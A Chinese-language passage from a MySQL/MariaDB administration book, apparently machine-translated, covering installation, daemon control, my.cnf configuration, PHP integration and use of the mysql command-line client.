MySQL 开发人员已经竭尽全力为各种操作系统开发优化的 rpm 和二进制文件,您应该尽可能地使用它们。但是,如果您正在使用一个不存在二进制文件的平台,需要一个特别奇特的配置,或者碰巧是一个相当有控制欲的人,那么您也可以选择从源代码安装。该过程只比二进制安装过程稍长一点。

也就是说,源代码安装过程确实比安装二进制文件或 rpm 要复杂一些。首先,你至少应该掌握如何使用 GNU gccmake这样的构建工具的基本知识,并且你应该在你的操作系统上安装它们。假设如果你选择不听从使用二进制文件的建议,你已经知道所有这些了。因此,只提供安装说明,没有相应的解释:

  1. 创建必要的组和所有者:

    %>groupadd mysql
    %>useradd –g mysql mysql
    
    
  2. 将软件解压缩到目标目录。建议使用 GNU gunziptar程序。

    %>cd /usr/src
    %>gunzip < /usr/src/mysql-VERSION.tar.gz | tar xvf -
    %>cd mysql-VERSION
    
    
  3. 配置、制作和安装 MySQL。需要一个 C++编译器和make程序。强烈推荐使用 GNU gccmake程序的最新版本。请记住,OTHER-CONFIGURATION-FLAGS是任何配置设置的占位符,它决定了 MySQL 服务器的几个重要特征,比如安装位置。由您来决定哪种旗帜最适合您的特殊需求。

    %>./configure –prefix=/usr/local/mysql [OTHER-CONFIGURATION-FLAGS]
    %>make
    %>make install
    
    
  4. 将示例 MySQL 配置(my.cnf)文件复制到其典型位置,并设置其所有权。这个配置文件的作用将在后面的“my.cnf 文件”一节中详细讨论。

    %>cp support-files/my-medium.cnf /etc/my.cnf
    %>chown -R mysql .
    %>chgrp -R mysql .
    
    
  5. 安装 MySQL 数据库。mysql_install_db是一个 shell 脚本,它登录到 MySQL 数据库服务器,创建所有必需的表,并用初始值填充它们。

    %>scripts/mysql_install_db --user=mysql
    
    
  6. 更新安装权限:

    %>chown -R root .
    %>chown -R mysql data
    
    

就是这样!转到“设置 MySQL 管理员密码”一节。

在 Windows 上安装和配置 MySQL

随着历史上占主导地位的基于 Unix 的技术如 Apache Web server、PHP 和 MySQL 越来越受欢迎,开源产品在 Microsoft Windows server 平台上继续取得进展。此外,对于许多用户来说,Windows 环境为 web/数据库应用提供了一个理想的开发和测试平台,这些应用最终将迁移到 Linux 生产环境中。

在 Windows 上安装 MySQL

和 Linux 版本一样,MySQL 和 MariaDB 都可以安装在 Windows 系统上。Windows 以上任何版本都可以。这两个数据库都可以通过 MSI 安装文件安装。这不仅会安装和配置必要的文件,还会提示用户设置 root 密码并执行其他安全设置。

虽然可以从源代码安装,但不建议这样做。安装包负责安全设置,您不需要访问通常不安装在 Windows 系统上的编译器和其他构建工具。

从 MySQL ( https://dev.mysql.com/downloads/mysql/ )或 MariaDB ( https://mariadb.com/downloads/mariadb-tx )下载 MSI 安装文件开始。基于两种产品的不同,这两个安装程序的工作方式略有不同。尽管它们有着相同的根源,但它们已经发展成包含不同的选项。

启动和停止 MySQL

MySQL 服务器守护进程通过位于 I NSTALL-DIR/bin目录中的一个程序来控制。本节提供了在 Linux 和 Windows 平台上控制该守护进程的说明。

手动控制守护程序

尽管您最终希望 MySQL 守护进程与操作系统一起自动启动和停止,但是在配置和应用测试阶段,您通常需要手动执行这个过程。

在 Linux 上启动 MySQL

负责启动 MySQL 守护进程的脚本叫做mysqld_safe,它位于INSTALL-DIR/bin目录中。该脚本只能由拥有足够执行权限的用户启动,通常是root或组mysql的成员。以下是在 Linux 上启动 MySQL 的命令:

%>cd INSTALL-DIR
%>./bin/mysqld_safe --user=mysql &

请记住,除非您首先切换到INSTALL-DIR目录,否则mysqld_safe不会执行。此外,后面的&符号是必需的,因为您希望守护进程在后台运行。

mysqld_safe脚本实际上是 mysqld 服务器守护进程的包装器,提供了直接调用 mysqld 所不具备的特性,比如运行时日志和出错时自动重启。您将在“配置 MySQL”一节中了解更多关于mysqld_safe的内容。

在 Red Hat/CentOS 的现代版本中,服务器的启动和停止通常是通过 systemctl 这样的服务管理器来完成的。启动、停止和获取 MariaDB 状态的命令如下所示:

%>systemctl start mariadb
%>systemctl stop mariadb
%>systemctl status mariadb

在旧版本的 Red Hat/CentOS 和 Debian/Ubuntu 发行版上,您将需要 service 命令来启动和停止 MySQL 守护进程。

%>service mysql start
%> service mysql stop
%> service mysql status

在 Windows 上启动 MySQL

假设您遵循了前一节“在 Windows 上配置 MySQL”中的说明,那么 MySQL 已经启动并作为服务运行。您可以通过导航到您的服务控制台来启动和停止该服务,该控制台可以通过从命令提示符执行services.msc来打开。

在 Linux 和 Windows 上停止 MySQL

虽然 MySQL 服务器守护程序只能由拥有执行mysqld_safe脚本所需的文件系统权限的用户启动,但是拥有 MySQL 权限数据库中指定的适当权限的用户可以停止它。请记住,这个特权通常只留给 MySQL root用户,不要与操作系统root用户混淆!现在不要太担心这个;请理解 MySQL 用户不同于操作系统用户,试图关闭服务器的 MySQL 用户必须拥有足够的权限。第二十七章提供了对mysqladmin以及其他 MySQL 客户端的适当介绍;第二十九章深入探讨了与 MySQL 用户和 MySQL 特权系统相关的问题。在 Linux 和 Windows 上停止 MySQL 服务器的过程如下:

shell>cd INSTALL-DIR/bin
shell>mysqladmin -u root -p shutdown
Enter password: *******

假设您提供了正确的凭证,您将返回到命令提示符,而不会收到成功关闭 MySQL 服务器的通知。如果尝试关闭失败,会提供相应的错误消息。

配置和优化 MySQL

除非另有说明,否则每次启动 MySQL 服务器守护进程时,MySQL 都会采用一组默认的配置设置。虽然默认设置可能适合只需要标准部署的用户,但您至少要知道哪些地方可以调整,因为这样的更改不仅会使您的部署更好地适应您的特定宿主环境,而且还会基于应用的行为特征极大地增强应用的性能。例如,一些应用可能是更新密集型的,提示您调整 MySQL 处理写/修改查询所需的资源。其他应用可能需要处理大量的用户连接,从而促使分配给新连接的线程数量发生变化。令人高兴的是,MySQL 是高度可配置的;正如您将在本章和后面的章节中了解到的,管理员有机会管理其操作的几乎每个方面。

本节介绍了影响 MySQL 服务器一般操作的许多配置参数。因为配置和优化对于维护一个健康的服务器(更不用说一个理智的管理员)是如此重要,所以在本书的剩余部分中经常会提到这个主题。

mysqld_safe 包装器

虽然前面提到的mysqld确实是 MySQL 的服务守护进程,但是你实际上很少和它直接交互;相反,您可以通过名为mysqld_safe的包装器与守护程序进行交互。当守护进程启动时,mysqld_safe包装器增加了一些额外的安全相关的日志特性和系统完整性特性。鉴于这些有用的特性,mysqld_safe是启动服务器的首选方式,尽管您应该记住它只是一个包装器,不应该与服务器本身混淆。

注意

从 RPM 或 Debian 包安装包含一些对systemd的额外支持,所以mysqld_safe没有安装在这些平台上。请使用my.cnf配置文件,下一节将详细介绍。

实际上有数百个 MySQL 服务器配置选项供您使用,能够微调守护程序操作的几乎每个可以想到的方面,包括 MySQL 的内存使用、日志敏感度和边界设置,如最大并发连接数、临时表和连接错误等。如果您想查看所有可用选项的摘要,请执行:

%>INSTALL-DIR/bin/mysqld --verbose --help

下一节重点介绍几个更常用的参数。

MySQL 的配置和优化参数

本节介绍了几个基本的配置参数,这些参数在开始管理服务器时可能会有所帮助。但是首先花点时间回顾一下如何快速查看 MySQL 的当前设置。

查看 MySQL 的配置参数

在上一节中,您学习了如何调用 mysqld 来了解您可以使用哪些选项。要查看当前的设置,您需要执行mysqladmin客户端,如下所示:

%>mysqladmin -u root -p variables

或者,您可以登录到 mysql 客户端并执行以下命令:

mysql>SHOW VARIABLES;

这样做会产生一个很长的变量设置列表,如下所示:

+---------------------------------+----------------------------+
| Variable_name                   | Value                      |
+---------------------------------+----------------------------+
| auto_increment_increment        | 1                          |
| auto_increment_offset           | 1                          |
| automatic_sp_privileges         | ON                         |
| back_log                        | 50                         |
| basedir                         | C:\mysql5\                 |
| binlog_cache_size               | 32768                      |
| bulk_insert_buffer_size         | 8388608                    |
| . . .                           |                            |
| version                         | 5.1.21-beta-community      |
| version_comment                 | Official MySQL binary      |
| version_compile_machine         | ia32                       |
| version_compile_os              | Win32                      |
| wait_timeout                    | 28800                      |
+---------------------------------+----------------------------+
226 rows in set (0.00 sec)

您可以使用LIKE子句查看单个变量的设置。例如,要确定默认存储引擎设置,可以使用以下命令:

mysql>SHOW VARIABLES LIKE "table_type";

执行此命令会产生类似于以下内容的输出:

+---------------+--------+
| Variable_name | Value  |
+---------------+--------+
| table_type    | InnoDB |
+---------------+--------+
1 row in set (0.00 sec)

最后,您可以使用以下命令查看一些非常有趣的统计信息,如正常运行时间、处理的查询以及接收和发送的总字节数:

mysql>SHOW STATUS;

执行此命令会产生类似如下的输出:

+-----------------------------------+-----------+
| Variable_name                     | Value     |
+-----------------------------------+-----------+
| Aborted_clients                   | 0         |
| Aborted_connects                  | 1         |
| Binlog_cache_disk_use             | 0         |
| Binlog_cache_use                  | 0         |
| Bytes_received                    | 134       |
| Bytes_sent                        | 6149      |
| Com_admin_commands                | 0         |
| . . .                             |           |
| Threads_cached                    | 0         |
| Threads_connected                 | 1         |
| Threads_created                   | 1         |
| Threads_running                   | 1         |
| Uptime                            | 848       |
+-----------------------------------+-----------+

管理连接负载

一个调优的 MySQL 服务器能够同时处理多个连接。每个连接都必须由主 MySQL 线程接收并委托给一个新线程,这个任务虽然琐碎,但不是即时的。back_log 参数确定当这个主线程处理特别重的新连接负载时,允许排队的连接数。默认情况下,该值设置为 80。

请记住,您不能仅仅将它设置为一个非常高的值,并假设它会使 MySQL 运行得更高效。您的操作系统和 web 服务器可能都有其他最大值设置,这些设置可能会使特别高的值变得无关紧要。

设置数据目录位置

常见的做法是将 MySQL 数据目录放在非标准位置,比如另一个磁盘分区。使用datadir选项,您可以重新定义该路径。常见的做法是将第二个驱动器挂载到一个目录中,例如/data,并将数据库存储在一个名为mysql的目录中:

%>./bin/mysqld_safe --datadir=/data/mysql --user=mysql &

请记住,您需要将 MySQL 权限表(存储在DATADIR/mysql中)复制或移动到这个新位置。因为 MySQL 的数据库是存储在文件中的,所以你可以通过使用操作系统命令来执行这样的操作,比如mvcp。如果您使用的是 GUI,您可以将这些文件拖放到新位置。

设置默认存储引擎

正如你将在第二十八章中了解到的,MySQL 支持几种表格引擎,每一种都有自己的优缺点。如果您经常使用某个特定的引擎(默认为 InnoDB),您可能希望通过使用--default-storage-engine参数将其设置为默认引擎。例如,您可以将默认值设置为 MEMORY,如下所示:

%>./bin/mysqld_safe --default-table-type=memory

一旦分配了内存引擎,所有后续的表创建查询都将自动使用内存引擎,除非另外指定。

自动执行 SQL 命令

您可以在守护程序启动时执行一系列 SQL 命令,方法是将它们放在一个文本文件中,并将该文件名分配给init_file。假设您想在 MySQL 服务器每次启动时清除一个用于存储会话信息的表。将以下查询放在名为mysqlinitcmds.sql的文件中:

DELETE FROM sessions;

然后,在执行| mysqld_safe时,像这样分配init_file:

%>./bin/mysqld_safe --init_file=/usr/local/mysql/scripts/mysqlinitcmds.sql &

记录潜在的非最佳查询

log-queries-not-using-indexes参数定义了一个文件,其中记录了所有不使用索引的查询。定期查看这些信息有助于发现对查询和表结构的可能改进。

记录慢速查询

log_slow_queries 参数定义了一个文件,该文件记录了执行时间超过 long_query_time 秒的所有查询。每当查询执行时间超过这个限制时, log_slow_queries 计数器就递增。使用mysqldumpslow实用程序研究这样的日志文件对于确定数据库服务器中的瓶颈非常有用。

设置最大允许同时连接数

max_connections 参数决定了允许的最大并发数据库连接数。默认情况下,该值设置为 151。您可以通过检查 max_used_connections 参数来检查数据库同时打开的最大连接数,该参数可通过执行 SHOW STATUS 获得。如果你看到这个数字接近世纪标志,考虑提高最大值。请记住,随着连接数量的增加,内存消耗也会增加,因为 MySQL 会为它打开的每个连接分配额外的内存。

设置 MySQL 的通信端口

默认情况下,MySQL 在端口 3306 上通信;但是,您可以使用port参数将其重新配置为监听任何其他端口。

禁用 DNS 解析

启用 skip-name-resolve 参数会阻止 MySQL 解析主机名。这意味着授权表中的所有Host列值都由 IP 地址或本地主机组成。如果您计划只使用 IP 地址或本地主机,请启用此参数。在尝试连接之前,DNS 查找会将主机名转换为 IP 地址。启用此选项将禁用查找,只允许 IP 地址工作。主机名 localhost 是一个特例,它总是解析为本地 ip 地址(对于 IVv4 是 127.0.0.1)。

限制与本地服务器的连接

启用 skip-networking 参数可以防止 MySQL 监听 TCP/IP 连接,并使用 UNIX 套接字。这将阻止对服务器的远程访问,而无需配置特殊的防火墙规则。

设置 MySQL 守护进程用户

MySQL 守护进程应该作为非root用户运行,从而在攻击者通过 MySQL 安全漏洞成功进入服务器时将损害降到最低。尽管通常的做法是以用户mysql的身份运行服务器,但是您可以以任何现有用户的身份运行它,只要该用户是数据目录的所有者。例如,假设您想使用用户mysql运行守护进程:

%>./bin/mysqld_safe --user=mysql &

my.cnf 文件

您已经了解到,在通过包装器mysqld_safe启动 MySQL 守护进程时,可以在命令行上进行配置更改。然而,有一种更方便的方法来调整许多 MySQL 客户端的启动参数和行为,包括mysqladminmyisamchkmyisampackmysqlmysqlcheckmysqldmysqldumpmysqld_safemysql.servermysqlhotcopymysqlimportmysqlshow。您可以在 MySQL 的配置文件my.cnf中维护这些调整。

在启动时,MySQL 在几个目录中查找my.cnf文件,每个目录决定了其中声明的参数的范围。这里突出显示了每个目录的位置和相对范围:

  • /etc/my.cnf(Windows 上的C:\my.cnfwindows-sys-directory\my.ini):全局配置文件。位于服务器上的所有 MySQL 服务器守护进程首先引用这个文件。请注意的扩展名。如果选择将配置文件放在 Windows 系统目录中,请使用。

  • DATADIR/my.cnf:服务器特定配置。该文件位于服务器安装引用的目录中。这个配置文件的一个有点奇怪但却很重要的特征是,它只引用在配置时指定的数据目录,即使在运行时指定了新的数据目录。注意 MySQL 的 Windows 发行版不支持这个特性。

  • --defaults-extra-file=名称:由提供的文件名指定的文件,包括绝对路径。

  • ~/.my.cnf:用户特定配置。该文件应该位于用户的主目录中。注意 MySQL 的 Windows 发行版不支持这个特性。

您应该明白,MySQL 在启动时会尝试从这些位置中的每一个读取数据。如果存在多个配置文件,后面读入的参数优先于前面读入的参数。虽然您可以创建自己的配置文件,但是您应该基于五个预配置的my.cnf文件中的一个来创建您的文件,所有这些文件都随 MySQL 发行版一起提供。这些模板位于 INSTALL-DIR/support-files 中(在 Windows 上,这些文件位于安装目录中)。每个的目的在表 23-1 中定义。

表 23-1

MySQL 配置模板

|

名字

|

描述

|
| --- | --- |
| my-huge.cnf | 面向高端生产服务器,包含 1 至 2GB RAM,主要用于运行 MySQL |
| my-innodb-heavy-4G.cnf | 适用于仅安装高达 4GB RAM 的 InnoDB,涉及大量查询和低流量 |
| my-large.cnf | 面向中型生产服务器,包含大约 512MB RAM,主要用于运行 MySQL |
| my-medium.cnf | 适用于包含少量内存(小于 128MB)的低端生产服务器 |
| my-small.cnf | 适用于最低配置的服务器,拥有额定 RAM(小于 64MB) |

那么这个文件看起来像什么呢?下面是 my-large.cnf 配置模板的部分清单:

# Example mysql config file for large systems.
#
# This is for large system with memory = 512M where the system runs mainly
# MySQL.

# The following options will be passed to all MySQL clients
[client]
#password       = your_password
port            = 3306
socket          = /tmp/mysql.sock

# Here follows entries for some specific programs

# The MySQL server
[mysqld]
port            = 3306
socket          = /tmp/mysql.sock
skip-locking
key_buffer=256M
max_allowed_packet=1M
table_cache=256
sort_buffer=1M
record_buffer=1M
myisam_sort_buffer_size=64M

[mysqldump]
quick
max_allowed_packet=16M

[mysql]
no-auto-rehash
# Remove the next comment character if you are not familiar with SQL
#safe-updates

...

看起来相当简单,对吧?的确如此。配置文件实际上可以总结为三个简洁的要点:

  • 注释以散列符号(#)开头。

  • 变量的赋值与调用mysqld_safe时完全一样,只是它们没有以双连字符开头。

  • 这些变量的上下文是通过在该节前面加上预期受益人来设定的,用方括号括起来。例如,如果您想要调整mysqldump的默认行为,您可以从以下内容开始:

[mysqldump]

然后使用相关的变量设置,如下所示:

    quick
    max_allowed_packet = 16M

假设此上下文,直到遇到下一个方括号设置。

配置 PHP 使用 MySQL

PHP 和 MySQL 社区长期以来保持着密切的关系。各自的技术就像一个豆荚里的两颗豌豆,面包和黄油,葡萄酒和奶酪…你明白了。MySQL 在 PHP 社区中的受欢迎程度从早期就很明显,这促使 PHP 开发人员将 MySQL 客户端库与发行版捆绑在一起,并在 PHP version 4 中默认启用扩展。

但是你不能只安装 PHP 和 MySQL,就指望它们自动地一起工作。你只需要再执行几个步骤,如下所述。

在 Linux 上重新配置 PHP

在 Linux 系统上,成功安装 MySQL 后,需要重新配置 PHP,这一次包括--with-mysqli[=DIR]配置选项,指定 MySQL 安装目录的路径。构建完成后,重启 Apache,就大功告成了。

在 Windows 上重新配置 PHP

在 Windows 上,您需要做两件事来启用 PHP 对 MySQL 的支持。成功安装 MySQL 后,打开php.ini文件并取消对以下行的注释:

extension=php_mysqli.dll

重启 Apache 或 IIS,你就可以开始同时使用 PHP 和 MySQL 了!

注意

无论平台如何,您都可以通过执行phpinfo()函数来验证扩展是否被加载(参见第二章了解关于此函数的更多信息)。

摘要

本章为开始使用 MySQL 服务器做准备。您不仅学习了如何安装和配置 MySQL,还了解了如何优化安装以最适合您的管理和应用偏好。配置和优化问题将在本书的剩余部分根据需要重新讨论。

下一章将介绍 MySQL 的许多客户端,它们为与服务器的许多方面进行交互提供了一种便捷的方式。

二十四、众多 MySQL 客户端

MySQL 附带了相当多的实用程序,或称客户机,其中的每一个都提供了执行与数据库服务器管理相关的各种任务的接口。本章概述了最常用的客户端,并深入介绍了原生 mysql 和 mysqladmin 客户端。 1 因为 MySQL 手册已经出色地提供了每个客户端的概述,所以这一章将重点放在那些您在日常管理活动中最有可能经常使用的特性上。

本章首先介绍捆绑的客户端。不需要安装额外的工具,但是当然,不是所有的用户都习惯使用命令行;因此,MySQL 开发人员和第三方多年来创造了许多强大的基于 GUI 的管理解决方案,其中一些我将在本章后面介绍。

命令行客户端简介

MySQL 与相当多的客户端程序捆绑在一起,其中许多程序即使使用,也很少使用。但是,当连接到无法远程访问的远程主机上的数据库时,有两种方法特别有用。这一部分提供了对这两个客户端(mysqlmysqladmin)的详细介绍,并在最后简要介绍了其他几个客户端。

mysql 客户端

客户端是一个有用的 SQL shell,能够管理 MySQL 服务器的几乎所有方面,包括创建、修改和删除表和数据库;创建和管理用户;查看和修改服务器配置;和查询表数据。虽然大多数时候您可能会通过基于 GUI 的应用或 API 来使用 MySQL,但是这个客户机对于执行各种管理任务来说是非常宝贵的,特别是考虑到它在 shell 环境中的可脚本化功能。其一般用法语法如下:

mysql [options] [database_name] [noninteractive_arguments]

客户端可以在交互或非交互模式下使用,这两种模式都将在本节中介绍。无论您使用哪一种,通常都需要提供连接选项。具体所需的凭据取决于您的服务器配置;然而,你通常需要一个主机名(--host=, -h、用户名(--user=, -u和密码(--password=, -p。密码选项可以在有密码或没有密码的情况下使用。如果您在命令行中包含密码,旁观者就有可能看到它。如果您忽略了密码。客户端会提示输入密码,但输入时不会显示实际的密码。通常,您会希望包含目标数据库名称(--database=, -D,以节省进入客户机后执行use命令的额外步骤。尽管顺序无关紧要,但连接选项通常是这样输入的:

$ mysql -h hostname -u username -p -D databasename

请注意,命令行中不包含密码,尽管它可能如上所述。例如,以下是使用用户名Jason和数据库employees连接到位于 www.example.com 的 MySQL 服务器的尝试:

$ mysql -h www.example.com -u jason -p -D employees

与其他连接选项不同,数据库选项实际上是可选的,前提是您将数据库名称放在行尾。因此,您可以通过省略它来节省一些击键次数,如下所示:

$ mysql -h www.example.com -u jason -p employees

最后,最常见的情况是连接到数据库所在的本地开发环境。在这种情况下,您可以完全放弃引用主机,因为 MySQL 会默认假设您希望连接到 localhost:

$ mysql –u jason –p employees

您还可以包括其他选项,其中许多将在后面的“有用的 mysql 选项”一节中介绍,或者执行命令来提示输入密码。如果您的凭证有效,您将被授予访问客户端界面的权限,或者被允许执行命令行中包含的任何非交互式参数。虽然可以提供密码作为一个选项,但是您不应该这样做,因为密码将被记录在您的命令历史中!然而,如果 MySQL 客户端是从脚本中调用的,那么这是一个有效的用法。这需要通过设置足够的权限来保护帐户和脚本。

与 MySQL 交互

要在交互模式下使用 MySQL,需要先进入界面。如前所述,您可以通过传递适当的凭证来实现这一点。在前一个例子的基础上,假设您想要与驻留在您的开发环境中的 dev_c orporate_com数据库进行交互:

$ mysql -u jason -p employees

Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 387
Server version: 5.5.9-log Source distribution

Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>

为了说明 MySQL 和 MariaDB 之间的细微差别,如果您安装了 MariaDB,下面是相同命令的输出:

Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 16
Server version: 5.5.56-MariaDB MariaDB Server

Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [employees]>

通过mysql客户端连接后,您就可以开始执行 SQL 命令了。例如,要查看所有现有数据库的列表,请使用以下命令:

mysql> show databases;
+------------------------------+
| Database                     |
+------------------------------+
| information_schema           |
| employees                    |
| mysql                        |
| test                         |
+------------------------------+
3 rows in set (0.00 sec)

如果您在没有明确识别数据库的情况下进入服务器,并且想要开始使用特定的数据库,请使用use命令:

MariaDB  [(none)]> use employees;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [employees]>

一旦切换到mysql数据库上下文,就可以用这个命令查看所有表:

mysql> show tables;

这将返回以下内容:

+-----------------------------+
| Tables_in_employees         |
+-----------------------------+
| departments                 |
| dept_emp                    |
| dept_manager                |
| employees                   |
| salaries                    |
| titles                      |
+-----------------------------+
6 rows in set (0.00 sec)

要查看其中一个表的结构,例如,host表,使用以下命令:

mysql> describe employees;

这将返回以下内容:

+------------+---------------+------+-----+---------+-------+
| Field      | Type          | Null | Key | Default | Extra |
+------------+---------------+------+-----+---------+-------+
| emp_no     | int(11)       | NO   | PRI | NULL    |       |
| birth_date | date          | NO   |     | NULL    |       |
| first_name | varchar(14)   | NO   |     | NULL    |       |
| last_name  | varchar(16)   | NO   |     | NULL    |       |
| gender     | enum('M','F') | NO   |     | NULL    |       |
| hire_date  | date          | NO   |     | NULL    |       |
+------------+---------------+------+-----+---------+-------+
6 rows in set (0.01 sec)

您还可以执行 SQL 查询,如insertselectupdatedelete。例如,假设您想要选择位于employees表中的emp_nofirst_namelast_name值,按last_name对结果进行排序,并将结果限制为前三个:

mysql> select emp_no, first_name, last_name from employees order by last_name limit 3;

总之,您可以通过 MySQL 能够理解的mysql客户端执行任何查询。

您可以通过执行以下任意命令来退出 mysql 客户端:quitexit\qCtrl-D

以批处理模式使用 mysql

mysql客户机还提供批处理模式功能,用于将模式和数据导入数据库,并将输出通过管道传输到另一个目的地。例如,您可以通过让mysql客户端使用<操作符消费/path/to/file的内容来执行驻留在文本文件中的 SQL 命令,如下所示:

%>mysql [options] < /path/to/file

这个功能有很多用途。例如,该功能的一个可能用途是每天早上通过电子邮件将服务器统计数据发送给系统管理员。例如,假设您想要监控执行时间超过由变量long_query_time定义的时间的查询的数量:

mysql> show variables like "long_query_time";
+-----------------+-----------+
| Variable_name   | Value     |
+-----------------+-----------+
| long_query_time | 10.000000 |
+-----------------+-----------+
1 row in set (0.01 sec)

首先创建一个名为mysql_monitor的没有密码的用户(不应该创建没有密码的帐户,因为这将允许任何人访问该帐户),只授予该用户对mysql数据库的usage权限:

mysql> grant usage on mysql.* to 'mysql_monitor'@'localhost';

然后,创建一个名为mysqlmon.sql的文件,并在其中添加以下代码行:

show status like "slow_queries";

现在,您可以轻松访问这些数据,而无需首先登录 MySQL 服务器:

$ mysql –u mysql_monitor < mysqlmon.sql
Variable_name    Value
Slow_queries     42

当然,如果您运行的是 OS X 或 Linux,您甚至可以将这个命令打包到它自己的 shell 脚本中,从而节省更多的击键时间:

#!/bin/sh
mysql -u testuser2 < mysqlmon.sql

使用一个容易识别的名称保存该文件,例如mysql_monitor.sh,相应地设置其执行权限,并按如下方式执行:

$ ./monitor.sh
Variable_name    Value
Slow_queries     42

顺便提一下,您也可以在已经登录到mysql客户端的情况下,通过使用source命令来执行文件:

mysql> source mysqlmon.sql
+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| Slow_queries  | 0     |
+---------------+-------+
1 row in set (0.00 sec)

有用的 mysql 技巧

本节列举了几个有用的技巧,所有 MySQL 用户在开始使用mysql客户端时都应该知道。

垂直显示结果

使用\G选项以垂直输出格式显示查询结果。这使得返回的数据更加易读。考虑这个例子,其中通过使用\G选项从mysql数据库的db表中选择所有行:

mysql>use mysql;
mysql>select * from db\G
*************************** 1\. row ***************************
   Host: %
   Db: test%
   User:
   Select_priv: Y
   Insert_priv: Y
   Update_priv: Y
   …
*************************** 2\. row ***************************
...

记录查询

当与mysql客户端交互工作时,将所有结果记录到一个文本文件中会很有用,这样您可以在以后查看它们。您可以使用tee\T选项启动日志记录,后跟一个文件名,如果需要,还可以加上一个路径。例如,假设您想要将会话记录到名为session.sql的文件中:

mysql>\T session.sql
Logging to file 'session.sql'
mysql>show databases;
+-------------+
| Database    |
+-------------+
| mysql       |
| test        |
+-------------+

一旦开始记录,您在这里看到的输出将被记录到session.sql中。要在会话期间的任何时候禁用日志记录,请执行notee\t

获取服务器统计信息

执行status\s命令将检索许多关于当前服务器状态的有用统计数据,包括正常运行时间、版本、TCP 端口、连接类型、执行的查询总数、平均每秒查询数等等。

预防事故

假设您管理一个包含 10,000 名新闻稿成员的表。有一天,你决定使用 mysql 客户端删除一个旧的测试帐户。这是漫长的一天,你不假思索地执行

mysql>DELETE FROM subscribers;

而不是

mysql>DELETE FROM subscribers WHERE email="test@example.com";

哎呀,你刚刚删除了你的整个用户群!希望最近的备份是方便的。作为mysql命令的一个参数,--safe-updates选项通过拒绝执行任何没有附带WHERE子句的DELETEUPDATE查询来防止这种无意的错误。有趣的是,你也可以用--i-am-a-dummy开关来达到同样的目的!

修改 mysql 提示符

当同时处理驻留在不同服务器上的几个数据库时,您可能很快会弄不清当前使用的是哪一个服务器。为了使位置更明显,修改缺省提示以包括主机名。你可以用几种方法做到这一点。

一种方法是在登录mysql时修改命令行上的提示,像这样:

%>mysql -u jason --prompt="(\u@\h) [\d]> " -p employees

登录到控制台后,会出现如下提示:

(jason@localhost) [employees]>

要使更改永久化,您也可以在[mysql]部分下的my.cnf文件中进行更改:

[mysql]
...
prompt=(\u@\h) [\d]>

最后,在 Linux/Unix 上,您可以通过MYSQL_PS1环境变量在提示符下包含主机名:

%>export MYSQL_PS1="(\u@\h) [\d]> "

注意

MySQL 手册中提供了提示符可用标志的完整列表。

查看配置变量和系统状态

您可以通过SHOW VARIABLES命令查看所有服务器配置变量的完整列表:

mysql>show variables;

这将返回所有可用的系统变量。可用数量取决于 MySQL/MariaDB 的配置和版本。如果您只想查看一个特定的变量,比如默认的表格类型,您可以结合使用这个命令和like:

mysql> show variables like "version";

这将返回以下内容:

+---------------+-----------+
| Variable_name | Value     |
+---------------+-----------+
| version       | 5.5.9-log |
+---------------+-----------+

查看系统状态信息同样简单:

mysql> show status;

这将返回以下内容:

+------------------------------------------+-------------+
| Variable_name                            | Value       |
+------------------------------------------+-------------+
| Aborted_clients                          | 50          |
| Aborted_connects                         | 2           |
...
| Threads_connected                        | 7           |
| Threads_created                          | 399         |
| Threads_running                          | 1           |
| Uptime                                   | 1996110     |
| Uptime_since_flush_status                | 1996110     |
+------------------------------------------+-------------+
287 rows in set (0.00 sec)

要查看状态报告中的单个项目,例如发送到所有客户端的总字节数,请使用以下命令:

mysql> show status like "bytes_sent";
+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| Bytes_sent    | 18393 |
+---------------+-------+

如果您想要检索名称相似的变量组(这通常意味着相似的目的),您可以使用%通配符。例如,以下命令检索用于跟踪与 MySQL 的查询缓存特性相关的统计数据的所有变量:

mysql>show status like "Qc%";
+-------------------------+--------+
| Variable_name           | Value  |
+-------------------------+--------+
| Qcache_free_blocks      | 161    |
| Qcache_free_memory      | 308240 |
| Qcache_hits             | 696023 |
| Qcache_inserts          | 449839 |
| Qcache_lowmem_prunes    | 47665  |
| Qcache_not_cached       | 2537   |
| Qcache_queries_in_cache | 13854  |
| Qcache_total_blocks     | 27922  |
+-------------------------+--------+
8 rows in set (0.00 sec)

有用的 mysql 选项

像本章介绍的所有客户端一样,mysql client提供了许多有用的选项,通过命令行传递。这里介绍了许多最重要的选项:

  • -- auto-rehash:默认情况下,mysql会创建数据库、表和列名的散列,以便于自动完成(可以用Tab键自动完成数据库、表和列名)。您可以使用--no-auto-rehash禁用此行为。如果您想重新启用它,请使用此选项。如果您不打算使用自动完成,请考虑禁用此选项,这将稍微加快启动时间。

  • -- column-names:默认情况下,mysql在每个结果集的顶部包含列名。你可以用--no-column-names禁用它们。如果您想重新启用此行为,请重新使用此选项。

  • -- compress-C:客户端与服务器通信时,启用数据压缩。

  • -- database=name , -D:决定使用哪个数据库。当以交互方式使用 MySQL 时,您还可以根据需要使用USE命令在数据库之间切换。

  • --default-character-set=character_set:设置字符集。

  • -- disable-tee:如果您已经使用选项--tee或命令tee启用了所有查询和结果的日志记录,那么您可以使用此选项禁用此行为。

  • --execute=query-equery:无需实际进入客户端界面即可执行查询。您可以使用此选项执行多个查询,用分号分隔每个查询。确保用引号将查询括起来,这样 shell 就不会将其误解为多个参数。例如,

  • -- force , -f:在非交互模式下使用时,MySQL 可以读取和执行文本文件中的查询。默认情况下,如果出现错误,这些查询的执行将会停止。此选项会导致执行继续,而不管是否有错误。

  • --host=name, -h:指定连接主机。

  • --html, -H:以 HTML 格式输出所有结果。有关该选项的更多信息,请参见“有用的 mysql 技巧”一节中的相应技巧。

  • 当快速输入和执行查询时,经常会出现错误,导致恼人的哔哔声错误。使用此选项禁用声音。

